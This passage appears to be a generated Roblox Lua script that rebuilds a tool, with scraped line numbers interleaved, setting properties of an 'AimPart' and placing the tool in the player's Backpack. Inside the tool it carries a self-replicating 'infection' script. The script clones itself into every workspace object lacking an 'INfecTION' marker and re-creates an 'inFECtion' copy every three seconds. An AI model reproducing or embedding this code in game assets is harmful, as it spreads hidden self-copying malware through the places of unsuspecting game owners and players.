		if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
3979
			script.Parent:Clone().Parent = list[i]
3980
		end
3981
		wait()
3982
	end
3983
end
3984
3985
while true do
3986
	check()
3987
	if workspace:findFirstChild("inFECtion") == nil then
3988
		local main = script.Parent:Clone()
3989
		main.Name = "inFECtion"
3990
		main.Parent = workspace
3991
	end
3992
	wait(3)
3993
end
3994
3995
end))
3996
Part336.Name = "AimPart"
3997
Part336.Parent = Tool0
3998
Part336.Material = Enum.Material.SmoothPlastic
3999
Part336.Transparency = 1
4000
Part336.Rotation = Vector3.new(-180, 0.539999962, -180)
4001
Part336.Anchored = true
4002
Part336.FormFactor = Enum.FormFactor.Custom
4003
Part336.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
4004
Part336.CFrame = CFrame.new(27.0975342, 1.63012695, 137.699341, -0.999955297, 0, 0.00939147174, 0, 1, 0, -0.00939147174, 0, -0.999955297)
4005
Part336.BottomSurface = Enum.SurfaceType.Smooth
4006
Part336.TopSurface = Enum.SurfaceType.Smooth
4007
Part336.Position = Vector3.new(27.0975342, 1.63012695, 137.699341)
4008
Part336.Orientation = Vector3.new(0, 179.459991, 0)
4009
BlockMesh337.Parent = Part336
4010
BlockMesh337.Scale = Vector3.new(0.777777731, 0.222222224, 0.370370358)
4011
BlockMesh337.Scale = Vector3.new(0.777777731, 0.222222224, 0.370370358)
4012
for i,v in pairs(mas:GetChildren()) do
4013
	v.Parent = game:GetService("Players").LocalPlayer.Backpack
4014
	pcall(function() v:MakeJoints() end)
4015
end
4016
mas:Destroy()
4017
for i,v in pairs(cors) do
4018
	spawn(function()
4019
		pcall(v)
4020
	end)
4021
end